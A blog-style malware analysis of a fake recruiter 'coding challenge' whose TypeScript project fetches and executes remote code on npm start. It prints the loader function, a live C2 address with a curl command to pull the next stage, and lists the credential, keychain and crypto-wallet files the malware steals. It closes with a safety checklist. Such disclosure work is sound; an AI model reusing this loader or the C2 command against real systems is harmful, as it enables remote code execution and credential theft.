The "Dream Job" Trap: How a Coding Interview Can Compromise Your System

The current landscape of the IT employment market is easy brutal. Consequently, when a recruiter reaches out via LinkedIn with a role that perfectly aligns with your professional history, it feels like a stroke of luck.

For a software engineer, the allure of a high hourly rate combined with the flexibility of part-time remote work is often enough to initiate a conversation. This is exactly how a friend of mine was targeted.

The process seemed efficient: the offer matched their skill set, and the recruiter quickly moved to the technical phase by sending over a coding challenge.

⚠️ Security Alert: The recruiter was impersonating a legitimate company. The actual organization had no knowledge of these messages and later issued a public warning on LinkedIn to alert other potential victims.

Identifying the Red Flags

In hindsight, there were several warning signs that should have triggered suspicion. If you are approached for a job, check for these indicators:

The Anatomy of the Attack

The "challenge" involved modifying a TypeScript codebase consisting of roughly 180 files. While the code wasn't obfuscated or minified, it contained a mix of functional and dead code, including calls to external endpoints at https://api.jsonbin.io.

The Initial Infection Vector

The malware triggers during the standard startup process (e.g., npm run dev or npm start). The following function is the entry point:

const initPriceConfig = async () => {
  const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d";
  const res = (await axios.get(`${src}`));
  // DANGEROUS: Using Function constructor to execute remote code
  const handler = new (Function.constructor)('require', res.data.record.model);
  if (handler) handler(require);
};
initPriceConfig();

By passing the require function into the dynamically executed code, the attacker gains the ability to load any Node.js module. This allows them to:

• require('child_process') $\rightarrow$ Execute shell commands.
• require('fs') $\rightarrow$ Read, write, and traverse the local filesystem.
• require('net') or require('https') $\rightarrow$ Establish a data exfiltration tunnel.
• Access process.env $\rightarrow$ Steal secrets like MONGO_URI, JWT_SECRET, SENDGRID_API_KEY, etc.

The Second Stage Loader

The payload from jsonbin.io is a remote-code execution (RCE) loader. It consists of approximately 24,686 characters of JavaScript obfuscated via obfuscator.io, wrapping a Webpack bundle.

Once deobfuscated, the code connects to a Command & Control (C2) server at http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5.

The next stage of the payload can be retrieved using a curl command:

curl -sS -v --max-time 30 \
  -H 'Authentication: jwt' \
  -H 'Accept: application/json, text/plain, */*' \
  -A 'axios/1.5.3' \
  -D headers.txt \
  -o body.bin \
  'http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5'

Payload Capabilities and Data Theft

The final payload is a sophisticated suite of tools designed for total system compromise:

🛠️ Toolset

• scdata: An interactive Remote Access Trojan (RAT).
• node-pty: Provides a full system shell.
• ssh2: Used for pivoting through networks and stealing PEM keys.
• screenshot-desktop & sharp: Captures the user's screen.
• clipboardy & @nut-tree-fork/nut-js: Monitors the clipboard and simulates keyboard/mouse input.

💰 Targeted Assets

The malware targets browser profiles (Chrome, Edge, Brave, etc.) across all OSes to steal:

1. Browser Data: Login data, Web data, and LevelDB stores.
2. OS Secrets: The macOS login.keychain.
3. Crypto Wallets: It targets 28 different extensions, including:
   • MetaMask, Phantom, Coinbase, Binance, TronLink, Trust, Keplr, Coin98, OKX, Rabby, and 18 others.

📂 File Grabber & Clipboard Spy

The malware recursively searches the home directory for sensitive files:

• Keywords: private key, secret phrase, metamask, bitcoin, solana, .env.
• Extensions: *.pem, *.p12, *.pfx.
• Directories: .ssh, .aws, .gnupg, .docker.

Additionally, it polls the clipboard and sends the data to the C2 server, masking its logs as npm-compiler.log.

The Attack Flow

Why This Works

The attacker utilizes an outbound-only design. Because the victim's machine initiates the connection to the C2 server, the attack bypasses:

• NAT / CGNAT
• Corporate Proxies
• Home Router Firewalls

Furthermore, the malware does not require sudo, root, or UAC elevation. This is because the most valuable targets—SSH keys, AWS credentials, and browser profiles—are owned by the user by design.

On Windows, the script even uses PowerShell to enumerate all drive letters, ensuring that mapped network drives and secondary disks are also scanned.

Final Risk Assessment

The risk can be modeled as: $\text{Total Risk} = (\text{Trust in Recruiter}) \times (\text{Execution of Untrusted Code})$

🛡️ Your Safety Checklist

• Verify the recruiter's identity via official company channels.
• Never run npm install or npm start on a project from an unknown source.
• Use a virtual machine (VM) or a sandbox (like Docker or Windows Sandbox) for technical tests.
• Monitor outbound network connections for suspicious IPs.